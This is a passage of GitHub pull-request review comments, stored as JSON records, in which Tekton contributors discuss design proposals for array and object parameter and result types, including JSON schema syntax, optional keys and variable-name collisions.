"created_at": "2021-11-30T17:55:09Z", "line": 57, "path": "teps/0076-array-result-types.md", "pr_number": 477, "repo": "community"} +{"author": "afrittoli", "body": "Having native loop support in the core API does not mean that we cannot have a dedicated controller/CRD for it still.\r\nLoops are probably a very good use case for TEP-0044, where we might not want to have one dedicated Pod for each iteration. A `TaskGroup` controller could decide what is the best `TaskRuns` <-> `Pod` ratio based on the inputs.", "comment_id": 762412789, "created_at": "2021-12-04T10:45:05Z", "line": null, "path": "teps/0076-array-result-types.md", "pr_number": 477, "repo": "community"} +{"author": "afrittoli", "body": "@bobcatfish This seems like a good use case to have in the TEP! \ud83d\udc4d ", "comment_id": 762413369, "created_at": "2021-12-04T10:52:03Z", "line": 57, "path": "teps/0076-array-result-types.md", "pr_number": 477, "repo": "community"} +{"author": "afrittoli", "body": "After the discussion on https://github.com/tektoncd/pipeline/issues/4097, I think I see a good use case for indexing - i.e. especially for results, there are cases where it makes sense of processing an array of results instead of feeding it to a loop of tasks directly.\r\n\r\nThis will require being able to know the size of the array though, so it feels like indexing and length should go together?", "comment_id": 762413780, "created_at": "2021-12-04T10:56:51Z", "line": 191, "path": "teps/0076-array-result-types.md", "pr_number": 477, "repo": "community"} +{"author": "bobcatfish", "body": "I'm assuming this is addressed via the conversation at https://github.com/tektoncd/community/pull/477#discussion_r673508137 but plz re-open if not!", "comment_id": 792209490, "created_at": "2022-01-25T23:34:40Z", "line": 191, "path": "teps/0076-array-result-types.md", "pr_number": 477, "repo": "community"} +{"author": "bobcatfish", "body": "https://github.com/tektoncd/community/pull/600 \ud83c\udf89 \ud83c\udf89 \ud83c\udf89 ", "comment_id": 792209705, "created_at": "2022-01-25T23:35:13Z", "line": 414, "path": "teps/0076-array-result-types.md", "pr_number": 477, "repo": "community"} +{"author": "bobcatfish", "body": "we've got a TEP for this now! :D \ud83c\udf89 https://github.com/tektoncd/community/pull/600", "comment_id": 792210257, "created_at": "2022-01-25T23:36:34Z", "line": null, "path": "teps/0076-array-result-types.md", "pr_number": 477, "repo": "community"} +{"author": "bobcatfish", "body": "circling back to this, I forgot that @sbwsg and I had already discussed this a bit and I'm back to leaving this out of scope for now (discussion: https://github.com/tektoncd/community/pull/477#issuecomment-901308105 TL;DR not clear how to support this for other types e.g. objects, or where we'd draw the line - also we can always add this later!) - it's currently listed in the alternatives section of the doc", "comment_id": 792212292, "created_at": "2022-01-25T23:40:58Z", "line": 57, "path": "teps/0076-array-result-types.md", "pr_number": 477, "repo": "community"} +{"author": "bobcatfish", "body": "I'm adding a section \"Validating JSON results at runtime\" to cover this in more detail and moving this list out of the notes/caveats section", "comment_id": 792857100, "created_at": "2022-01-26T17:06:35Z", "line": null, "path": "teps/0076-array-result-types.md", "pr_number": 477, "repo": "community"} +{"author": "pierretasci", "body": "Other important note, YAML is a superset of json, all valid json is valid yaml so in a sense, we get the best of both \ud83d\ude04 ", "comment_id": 798109011, "created_at": "2022-02-02T23:51:57Z", "line": 240, "path": "teps/0076-array-result-types.md", "pr_number": 477, "repo": "community"} +{"author": "mogsie", "body": "yaml ends up being in-memory, a memory structure that's very similar to json, so you should be able to use jsonpath / jsonpointer etc on a yaml document.", "comment_id": 798838457, "created_at": "2022-02-03T18:08:09Z", "line": null, "path": "teps/0076-array-result-types.md", "pr_number": 477, "repo": "community"} +{"author": "mogsie", "body": "I know the whole proposal is about making array results, but this \"type: array\" is in conflict with \"type: object\" \u2014 have you considered a different attribute like \"multiple: true\" or something? \r\n\r\nWith both 0075 and 0076, you'd be able to define something like:\r\n\r\n```\r\n name: animals\r\n type: object\r\n properties:\r\n name:\r\n type: string\r\n weight:\r\n type: number\r\n multiple: true\r\n```\r\n\r\nand emit (using json text sequence, of course)\r\n\r\n```\r\ncat < $(results.animals.path)\r\n{ \"name\": \"cat\", weight: 33}\r\n{ \"name\": \"dog\", weight: 44}\r\nEOF\r\n```", "comment_id": 798843479, "created_at": "2022-02-03T18:14:45Z", "line": 281, "path": "teps/0076-array-result-types.md", "pr_number": 477, "repo": "community"} +{"author": "bobcatfish", "body": "Good point! I'll add that as a bullet as well :D", "comment_id": 799734262, "created_at": "2022-02-04T18:57:56Z", "line": 240, "path": "teps/0076-array-result-types.md", "pr_number": 477, "repo": "community"} +{"author": "bobcatfish", "body": "Interesting - i was imagining the syntax being more json schema aligned to support the use case you're describing (an array of objects), e.g. something like this (based on https://json-schema.org/understanding-json-schema/reference/array.html and https://json-schema.org/learn/miscellaneous-examples.html#arrays-of-things):\r\n\r\n```\r\n name: animals\r\n type: array\r\n items: {\r\n type: object\r\n properties:\r\n name:\r\n type: string\r\n weight:\r\n type: number\r\n }\r\n```\r\n\r\nAnd if we supported json text sequences, i would think the schema would look the same, the difference would be in how the results written by the Task were formatted? (i.e. im not seeing these features as being in conflict but let me know if I'm missing something)\r\n\r\nHowever I have intentionally tried to keep nested types out of the scope of this proposal and TEP-0075 as well. I would want to make sure nothing we propose here would stop us from adding nested type support in the future so if you see this being incompatible please continue to raise it.\r\n\r\nPersonally I would still lean toward using the json schema syntax for this vs. introducing a new `multiple` field.", "comment_id": 799744148, "created_at": "2022-02-04T19:12:39Z", "line": 281, "path": "teps/0076-array-result-types.md", "pr_number": 477, "repo": "community"} +{"author": "jerop", "body": "getting there soon \ud83d\ude09 \r\n\r\nhttps://github.com/tektoncd/community/blob/main/teps/0090-matrix.md", "comment_id": 799775081, "created_at": "2022-02-04T20:02:08Z", "line": 143, "path": "teps/0076-array-result-types.md", "pr_number": 477, "repo": "community"} +{"author": "bobcatfish", "body": "@skaegi let me know if you'd rather not be associated with this XD", "comment_id": 671571591, "created_at": "2021-07-16T23:41:21Z", "line": 8, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": null, "body": "Quick clarifying point here: it first mentions support for string keys but then goes on to describe values. Is this suggesting we eventually add support for _key types_ other than `string`, _value types_ other than `string`, or both? I am guessing only _value types_, right?\r\n\r\nI'm not sure how we'd express key types other than string in yaml.", "comment_id": 675696111, "created_at": "2021-07-23T16:38:55Z", "line": null, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": null, "body": "I agree that grouping is a nice addition but in what way does it help with the number of things being passed in the yaml? I would've thought that a long parameter list would be replaced with an equally long set of dictionary entries. The number of \"things\" would still be the same, just nested under an additional key?", "comment_id": 675700484, "created_at": "2021-07-23T16:46:27Z", "line": 83, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": null, "body": "I think you accidentally a word here? `allowing similar Tasks to easily [?] pieces of their`. \"Group\" or \"define\" maybe?", "comment_id": 675704135, "created_at": "2021-07-23T16:52:23Z", "line": null, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": null, "body": "cross-posting my sentiment from #477 - if we included `type` / `schema` in the result definition (as we do today with `type: array` in params) then I'm not sure we need a separate file / path.", "comment_id": 675705203, "created_at": "2021-07-23T16:54:12Z", "line": null, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": null, "body": "One wrinkle wrt dictionary results. Given the variable `$(results.foo.path)` and the following schema:\r\n\r\n```\r\nresults:\r\n- name: foo\r\n schema:\r\n type: object\r\n properties:\r\n path: {}\r\n```\r\n\r\nWhat does my variable resolve to? Would we introduce validation to ensure a schema doesn't trample Tekton's built-in variables? Or allow users to override Tekton's vars with their own schema?", "comment_id": 675747852, "created_at": "2021-07-23T18:04:33Z", "line": null, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": null, "body": "Introducing bracket notation `['path']` for dictionary params and results instead would allow us to walk this line without collision. e.g. `results.foo.path` could be the tekton built-in and `results.foo['path']` could be the dictionary entry.", "comment_id": 675750903, "created_at": "2021-07-23T18:08:04Z", "line": null, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "vdemeester", "body": "Agreed, but I think it's probably on the \"consumer\" side of things that it might reduce. For example, the `git-clone` returns a dictonnary, and I can pass that dictonnary as is (because it \"fits\") on another task, in that case it reduce the yaml (*but* it means tboth task need to take that dictionnary, which may introduce the same type of dependency between task that we had with `PipelineResource`)", "comment_id": 683573980, "created_at": "2021-08-05T15:42:16Z", "line": 83, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "vdemeester", "body": "Git metadata, \u2026", "comment_id": 683574746, "created_at": "2021-08-05T15:43:13Z", "line": null, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "vdemeester", "body": "On this, I think we need to support something similar to the `interface` in go, aka, if I have an \"object\" param can \"fit\" in another one \u2014 e.g. the git-clone object result and a go build object param that would be smaller but would be a subset of the git-clone object, it should be possible to use it as is.\r\n\r\nIf we don't support this, and only the exact same definition, we are re-creating the PipelineResource dependency problem (a task with a GitResource param can only work with a git resource, can't swap with something else for getting the data for example).", "comment_id": 683577158, "created_at": "2021-08-05T15:46:16Z", "line": null, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "vdemeester", "body": "Same question \ud83d\ude05 ", "comment_id": 683577564, "created_at": "2021-08-05T15:46:49Z", "line": null, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "vdemeester", "body": "I wonder why would we want them to fail ? allowing \"extra\" *keys* means it would be more easy to integrate existing tools into tasks, or use a similar tool (that generate the same output) for different task with different results.", "comment_id": 683578790, "created_at": "2021-08-05T15:48:22Z", "line": null, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "vdemeester", "body": "Could we have the notion of \"optional\" keys ? does it make sense ? otherwise, agreeing less keys should probably be make it fail.", "comment_id": 683579284, "created_at": "2021-08-05T15:48:59Z", "line": null, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": null, "body": "Ah innnnteresting, I hadn't thought about that, good point!", "comment_id": 683582251, "created_at": "2021-08-05T15:52:43Z", "line": 83, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "wlynch", "body": "Might be out of scope for this TEP, but something that would be very useful is if there was a mechanism for Task authors to reuse existing type definitions instead of defining their own schemas / copy pasting. It might be useful to pull this into a CRD that can be referenced by params. e.g.\r\n\r\n```\r\napiversion: tekton.dev/v1\r\nkind: ParamSchema\r\nmetadata:\r\n name: GitRepo\r\nspec:\r\n type: object # see question below\r\n properties:\r\n url: {\r\n type: string # for now, all values are strings, so we could imply it\r\n }\r\n path: {} # example of implying type: string\r\n```\r\n\r\nwhich then could be used in Tasks:\r\n\r\n```yaml\r\nparams:\r\n - name: pull_remote\r\n schemaRef: GitRepo\r\n``` \r\n\r\nThis could be the way how we provide well-known types.\r\n\r\nGoing a step further (but also *definitely* out of scope for this TEP), this might be a mechanism we could use to support [schema refs](http://json-schema.org/draft/2020-12/json-schema-core.html#ref) for composability.\r\n\r\nedit: I think this is inline with what @mattmoor is suggesting.", "comment_id": 689875342, "created_at": "2021-08-16T21:34:16Z", "line": null, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "bobcatfish", "body": "currently i'm leaning toward continuing to support \"type\" and never actually deprecating it - ill add a section on this", "comment_id": 691456441, "created_at": "2021-08-18T17:20:51Z", "line": null, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "bobcatfish", "body": "> Initially we would only support string keys\r\n\r\nhahaha whoops I meant values XD\r\n\r\nand as far a keys are concerned it looks like json only supports [string types for keys (or apparently \"names\"?)](https://datatracker.ietf.org/doc/html/rfc7159#section-4) so if we go forward with json for representing these values we'll be limited to that (unless we want to add something extra) - that seems reasonable to me but I'll add that explicitly to the TEP", "comment_id": 691636694, "created_at": "2021-08-18T22:06:38Z", "line": null, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "bobcatfish", "body": "\ud83e\udd26\u200d\u2640\ufe0f \"allowing similar Tasks to easily pieces of their interface.\" hahaha thanks for your careful reading @sbwsg , apologies that my writing was not so careful \ud83d\ude4f \r\n\r\nI think \"define\" was what i was going for here but i do wish i could remember what I had in mind at that moment \ud83d\ude05 ", "comment_id": 691638123, "created_at": "2021-08-18T22:09:22Z", "line": null, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "bobcatfish", "body": "\ud83d\udc4d \ud83d\udcaf ill make that update here as well", "comment_id": 691638299, "created_at": "2021-08-18T22:09:43Z", "line": null, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "bobcatfish", "body": "> Would we introduce validation to ensure a schema doesn't trample Tekton's built-in variables? \r\n\r\nhm this is a weird thing, but maybe not the worst thing, as long as the behavior was clear. i think you identified the best two options:\r\na. don't allow it\r\nb. choose a precedence order, probably deciding the Task's param overrides the built in\r\n\r\n> Introducing bracket notation ['path'] for dictionary params and results instead would allow us to walk this line without collision.\r\n\r\n[It looks like jsonpath supports both:](https://restfulapi.net/json-jsonpath/)\r\n\r\n> . operator is the dot-child operator, which you use to denote a child element of the current element.\r\n> [ ] is the subscript operator, which you use to denote a child element of the current element (by name or index)\r\n\r\nI'm thinking if they are both valid jsonpath, we might end up supporting both eventually? but maybe not, maybe we pick one now and that's good enough - in that case, i think i'm leaning toward `[]` slightly b/c that would be consistent with array indexing syntax (but maybe that will be dropped from https://github.com/tektoncd/community/pull/477 anyway haha)\r\n\r\nIf we DO want to support both eventually, then im not sure that using `[]`will sidestep the problem you pointed out above, so I think we still need to choose (a) or (b) above - (a) would have less chance of unexpected behavior but (b) would be the most flexible. Maybe we go with (a) and if someone really needs it we could switch to (b)? (harder to go the other way)\r\n\r\nOne more idea: we could view our current syntax as already allowing dictionary/object replacement, e.g. `$(results.foo.path)` perhaps this syntax is saying we have a dictionary called `results` with a value called `foo` which is also a dictionary with a key called `path`? In that case using `.` syntax now would be the most consistent.\r\n\r\nAnyway I'll wait to hear your thoughts before updating the TEP @sbwsg !", "comment_id": 691643307, "created_at": "2021-08-18T22:20:16Z", "line": null, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "bobcatfish", "body": "good point, adding this as a requirement: recommending we take a 'duck type' approach where a provided object could have additional keys that would be ignored by the consumer (as long as it has the required keys)", "comment_id": 691645942, "created_at": "2021-08-18T22:26:17Z", "line": null, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "bobcatfish", "body": "Good point, I'll flip this around!", "comment_id": 691646128, "created_at": "2021-08-18T22:26:47Z", "line": null, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "bobcatfish", "body": "hmm i tried to figure out how we'd express this with json schema and was surprised to see that by default all fields are optional unless they are explicitly `required` \ud83e\udd14 \r\n\r\nI'm a bit torn because i dont want to augment json schema, but at the same time i feel like defaulting to \"required\" is more consistent with our existing interfaces. we could allow them all to be optional by default but fail once variable replacement tries to use them? or we could imply a `required` section that includes all the values when its not present but that feels like a slippery slope \ud83e\udd14 \r\n\r\nseems like other ppl have run into similar concerns: https://stackoverflow.com/questions/16204871/what-is-the-difference-between-required-vs-optional-in-json-schema", "comment_id": 691647900, "created_at": "2021-08-18T22:30:55Z", "line": null, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": null, "body": "+1 to your idea of redefining Tekton's own built-in variables in terms of a dictionary schema, I really like that concept.\r\n\r\nThe problem I'm now realizing with disallowing a user's schema from overriding tekton's built-ins is that we could accidentally break folks with new releases if we added any new variables: Imagine a user defines a schema with `foo: properties: bar: {}` and in an update Tekton introduces a new built-in variable of `foo.bar`. If we took the (a) approach we'd start rejecting the user's dictionary because we've got this new built-in now.\r\n\r\nI think precedence order (user's schema wins) is probably the only reasonable solution after all?", "comment_id": 691651158, "created_at": "2021-08-18T22:38:29Z", "line": null, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "vdemeester", "body": "Most likely this would me we should lean toward *prefixing* our variable with something that would be reserved (`tekton.*` or `builtin.*`) and state as soon as it starts that those are not allowed to be set by the user.", "comment_id": 691892782, "created_at": "2021-08-19T08:19:53Z", "line": null, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "mattmoor", "body": "What I was thinking is sort of inline with the idea of SchemeRefs, but built-in because we need to know the type/scheme to support substitution. This feels like a nice way to test the waters with schema refs for fairly well defined things.", "comment_id": 692324475, "created_at": "2021-08-19T17:02:46Z", "line": null, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "bobcatfish", "body": "> +1 to your idea of redefining Tekton's own built-in variables in terms of a dictionary schema, I really like that concept.\r\n\r\ntangent: actually i wonder if this could be an alternative way of handling variable replacement we could pursue in the future (esp if we start supporting more pipeline features via pipeline in a pod) - we could provide a dictionary of values to the executing pod and the entrypoint binary could be in control of the actual replacement \ud83e\udd14 \r\n\r\n> The problem I'm now realizing with disallowing a user's schema from overriding tekton's built-ins is that we could accidentally break folks with new releases if we added any new variables: \r\n\r\nahhh that's a great point - i agree, ill update the proposal with (b)\r\n\r\n> Most likely this would me we should lean toward prefixing our variable with something that would be reserved (tekton.* or builtin.*) and state as soon as it starts that those are not allowed to be set by the user.\r\n\r\nThat's a great idea too \ud83e\udd14 im trying to understand if that would address the specific problem @sbwsg was pointing out, which seems to be specific to results (params afaik dont have any extra fields, but maybe if we had optional params one day there might be something like `params.foo.bound`, anyway I think the example @sbwsg is the only one we would run into today, which would be someone defining `results.someobject.path` - prefixing that whole thing (`tekton.results.someobject.path`) would have the same problem, the prefix would only help if it came right before `path`, e.g. `results.someobject.tekton.path` ? but then we'd have the same collision problem with `tekton` \ud83e\udd14 ", "comment_id": 692346264, "created_at": "2021-08-19T17:34:27Z", "line": null, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "bobcatfish", "body": "ah and actually this lines up with [the `additionalProperties` config in json objects](https://json-schema.org/understanding-json-schema/reference/object.html#additional-properties) - which looks like it's true by default, i.e. allowing the inclusion of extra fields", "comment_id": 692350918, "created_at": "2021-08-19T17:41:24Z", "line": null, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "bobcatfish", "body": "@sbwsg while writing this out I've realized that I don't think the current collision would actually cause a problem.\r\n\r\nFor example (I added an extra key `somethingelse`):\r\n\r\n```\r\nresults:\r\n- name: foo\r\n schema:\r\n type: object\r\n properties:\r\n path: {}\r\n somethingelse: {}\r\n```\r\n\r\n`$(results.foo.path)` would only be used in the context of the Task accessing the path to the file where it would write the structured result - there would be no reason to support variable replacement for accessing the keys in the Task writing the result, e.g. what would `$(results.foo.somethingelse)` resolve to? There'd be no reason to use it within the Task writing the result - it would only be useful in another Task consuming the result via `$(tasks.previousTask.results.foo.somethingelse)` or `$(tasks.previousTask.results.foo.path)`.\r\n\r\nAnyway I think all of this is worth articulating in detail in the proposal - and even though there are no collisions now I think it makes sense to propose a policy for how to handle them in the future.", "comment_id": 692358454, "created_at": "2021-08-19T17:52:42Z", "line": null, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "mattmoor", "body": "> Most likely this would me we should lean toward prefixing our variable with something that would be reserved (tekton.* or builtin.*) and state as soon as it starts that those are not allowed to be set by the user.\r\n\r\nAs a shameless plug, I'm working on turning https://github.com/tektoncd/pipeline/issues/3590 into a TEP now.", "comment_id": 692364657, "created_at": "2021-08-19T18:01:37Z", "line": null, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": null, "body": "Nice, very good point!", "comment_id": 692365646, "created_at": "2021-08-19T18:03:04Z", "line": null, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "wlynch", "body": "One thing that's nice about defaulting to optional is it makes it makes the default behavior safer for adding new fields. This will be particularly useful if we allow reusable schema definitions, since this would allow you to add a new field to a shared schema, then update the Tasks that use the field to now accept it.\r\n\r\ne.g. if we wanted to add a new field to a Git resource type, optional fields would let phase the field in over time:\r\n1. Add the field to the schema\r\n2. Have producers / results start populating the field \r\n3. Consumers start using the field once it's populated.\r\n\r\n> we could allow them all to be optional by default but fail once variable replacement tries to use them?\r\n \r\n+1. It's a bit strange to have required optional fields, but I think this makes sense if we support shared schema types.", "comment_id": 692373651, "created_at": "2021-08-19T18:14:34Z", "line": null, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "bobcatfish", "body": "ahhh that's a great point @wlynch , I hadn't thought of that", "comment_id": 693259562, "created_at": "2021-08-20T23:12:31Z", "line": null, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "bobcatfish", "body": "Pursuing schema refs and having known schema types sounds like a great next step after this TEP - I'll include it in a \"future work\" section in the TEP. Having well known types like `GitRepo` that ship with Tekton would be really useful (esp for tools built on Tekton, like chains). If these types are built into Tekton I think the next question is what to do when people want to provide their own (also a problem we had with PipelineResources - adding your own PipelineResources required changing the Tekton Controller) - maybe people can make their own `ParamSchema` instances - and/or maybe we could use something as simple as a ConfigMap?\r\n\r\nI think @mattmoor 's idea above goes a bit further than this and suggests being able to use these schemas to define the body of the Tasks themselves, e.g reusable steps which sounds to me like another proposal entirely (which maybe again could leverage this one?) and reminds me of [TEP-0054 step reuse](https://github.com/tektoncd/community/pull/369) - and it also sounds like we're starting to talk about going beyond just \"variable replacement\" and into the realms of templating \ud83e\udd14 ", "comment_id": 693261579, "created_at": "2021-08-20T23:20:11Z", "line": null, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "bobcatfish", "body": "TODO: ive just realized that having a top level schema section is actually something we added and not a json schema specific thing so i want to update the proposal above to not use the top level schema section, and add it as an alternative instead", "comment_id": 694138347, "created_at": "2021-08-23T16:44:34Z", "line": null, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "mattmoor", "body": "How do you plan to handle addressing keys that currently exceed the supported character set of Tekton, but are perfectly legitimate JSON keys?\r\n\r\nFor example, this partial schema is used by logstream to parse Knative controller logs:\r\n```go\r\n\tvar line struct {\r\n\t\t...\r\n\t\tController string `json:\"knative.dev/controller\"`\r\n\t\t...\r\n\t\tKey string `json:\"knative.dev/key\"`\r\n\t\t...\r\n```\r\n\r\nThis could easily be:\r\n```yaml\r\n name: line\r\n type: object\r\n properties:\r\n \"knative.dev/controller\": { type: string}\r\n \"knative.dev/key\": { type: string}\r\n ...\r\n```\r\n\r\nYou'd see similar struct annotations to parse out something like this (were it JSON instead of toml): https://github.com/tektoncd/community/pull/504/files#diff-3a0e781137a6fde42cba2d980801d772725cf4a45490ce8929ad5a9d81953401R314-R321", "comment_id": 697888394, "created_at": "2021-08-28T16:15:24Z", "line": null, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "dlorenc", "body": "I'm not quite sure I understand how this would work once we did start nesting things (if that's the plan). This type is will presumably be mapped into the actual go struct schema definition as something like:\r\n\r\n```golang\r\ntype Property struct {\r\n Type string\r\n}\r\n\r\ntype Properties []Property\r\n```\r\n\r\nBut if we want to support nesting, how would we embed the jsonschema definition? Would it be something like:\r\n\r\n```golang\r\ntype Properties struct {\r\n JSONSchema string\r\n}\r\n```", "comment_id": 701523871, "created_at": "2021-09-03T01:29:48Z", "line": null, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "bobcatfish", "body": "quick answer is i think we'd eventually expand the supported character set", "comment_id": 704874473, "created_at": "2021-09-09T01:01:38Z", "line": null, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "vdemeester", "body": "nit: there is not params on a `TaskSpec` \ud83d\ude1d ", "comment_id": 712885832, "created_at": "2021-09-21T09:57:36Z", "line": null, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "vdemeester", "body": "or this \"notify-slack-after\" is a `Task` and not a `Step` \ud83d\udc7c\ud83c\udffc ", "comment_id": 712886517, "created_at": "2021-09-21T09:58:24Z", "line": null, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "vdemeester", "body": "Is the \"definition\" of the `params` missing here, to have a complete picture ?", "comment_id": 712887116, "created_at": "2021-09-21T09:59:16Z", "line": null, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "afrittoli", "body": "Deprecated now \ud83c\udf89 ", "comment_id": 762414334, "created_at": "2021-12-04T11:03:17Z", "line": 69, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "afrittoli", "body": "perhaps results are more relevant for chains? \ud83e\udd14 ", "comment_id": 762414474, "created_at": "2021-12-04T11:04:12Z", "line": 71, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "afrittoli", "body": "Sounds good. Just to clarify, when using params / results of type `object`, keys and values must be strings?", "comment_id": 762414712, "created_at": "2021-12-04T11:06:59Z", "line": 97, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "afrittoli", "body": "How do you envision those images will be defined in a machine consumable format? \r\nTasks may need to refer to such formats by some kind of name / reference, or alternatively tests may need to verify that a task complies with the given known interface, because else external tools that rely on it won't work (like chains).", "comment_id": 762415149, "created_at": "2021-12-04T11:10:43Z", "line": 117, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "afrittoli", "body": "Nice. \r\n\r\nI think this goes in the direction of saying that a task produces some artefact, which is described by an object / dict result. This is the kind of metadata / information that other tools need to handle these results nicely with less need for custom integration and annotations.\r\n\r\nTekton could emit higher level of abstraction events when these kind of results are produced - see the [CDEvents project](https://github.com/cdevents/spec).", "comment_id": 762415420, "created_at": "2021-12-04T11:14:01Z", "line": 133, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "bobcatfish", "body": "haha whoops that was confusing XD I think I just over indented `notify-slack-after` and meant for that to be another pipeline task, not something that was part of a step XD XD XD", "comment_id": 793152066, "created_at": "2022-01-27T00:07:55Z", "line": null, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "bobcatfish", "body": "yes you're totally right \ud83e\udd2d so much repetition - a good case for making it possible to reuse schemas asap!!", "comment_id": 793152529, "created_at": "2022-01-27T00:09:11Z", "line": null, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "jerop", "body": "thinking of the object results as a grouping of results made me wonder if we currently support tasks producing more results than they declared -- tested it out and the taskrun failed, here are the pod logs:\r\n\r\n```\r\n/tekton/scripts/script-0-bj92j: line 4: results.prefix.path: not found\r\n/tekton/scripts/script-0-bj92j: line 4: can't create : nonexistent directory\r\n```\r\n\r\nif we support extra keys in object results, should we consider supporting tasks producing extra results? I can see that this can be exception in object results because they are extra items within a result that's been declared, but concerned about users thinking tasks can produce extra results as we present object results as a grouping of results, then they run into unexpected failures because that's only supported in object results \r\n\r\ncould we only support writing the declared results initially then explore supporting extra results in all result types, what do you think?", "comment_id": 795768258, "created_at": "2022-01-31T15:15:41Z", "line": null, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "jerop", "body": "we already this run into issues with results where they are required if used but optional if not used - https://github.com/tektoncd/pipeline/issues/3497\r\n\r\nwe're thinking of making the fields required with defaults supported (effectively making them optional) in [TEP-0048](https://github.com/tektoncd/community/blob/main/teps/0048-task-results-without-results.md) - cc @pritidesai @vinamra28)\r\n\r\nas mentioned in the last requirement, what do you think about adopting this approach here? i.e. `foo` has to have an attribute `bar` unless a default is specified", "comment_id": 795781662, "created_at": "2022-01-31T15:28:32Z", "line": 359, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "bobcatfish", "body": "hmm im kinda torn on this one, my thoughts are kinda similar to the other question about required and optional keys.\r\n\r\ni definitely see what you mean about wanting to treat results consistently, but for me this comes down to aligning with json schema vs. making our own domain specific modifications. we're proposing using json schema to define the structure of each result, and json schema has its own rules (and defaults) for [additional properties](https://json-schema.org/understanding-json-schema/reference/object.html#additional-properties) and for [required vs optional](https://json-schema.org/understanding-json-schema/reference/object.html#required-properties)\r\n\r\nindividual results however are completely our own invention, so it makes more sense to me that we can make different decisions there.\r\n\r\nspecifically about results, i think the error you ran into was that the variable replacement wasn't available for the path to a non-existent result, which feels like a slightly different problem to me - im wondering what happens if you manually specify the results file? i could see allowing for extra results to be written (and just ignored) but i wouldnt support variable replacement for them or do anything with them\r\n\r\nto try to at least align with that im changing \"The additional keys will be included in the TaskRun status\" to \"The additional keys will not be included in the TaskRun status\" so we'd at least be similarly ignoring any extra keys\r\n\r\nlast thought on this is that allowing for extra keys to be present might make it easy to take the output of a tool and use it as a result directly\r\n\r\nlet me know if you found any of that convincing or if you'd still prefer we treat this as an error", "comment_id": 798092821, "created_at": "2022-02-02T23:17:15Z", "line": null, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "bobcatfish", "body": "i would really like this to be the default, my main hesitations are:\r\n\r\n* this means having a different default from jsonschema (https://json-schema.org/understanding-json-schema/reference/object.html#required-properties)\r\n* i think @wlynch made a good point about how optional by default would interact well with shared schemas: https://github.com/tektoncd/community/pull/479#discussion_r692373651", "comment_id": 798094168, "created_at": "2022-02-02T23:20:00Z", "line": 359, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "jerop", "body": 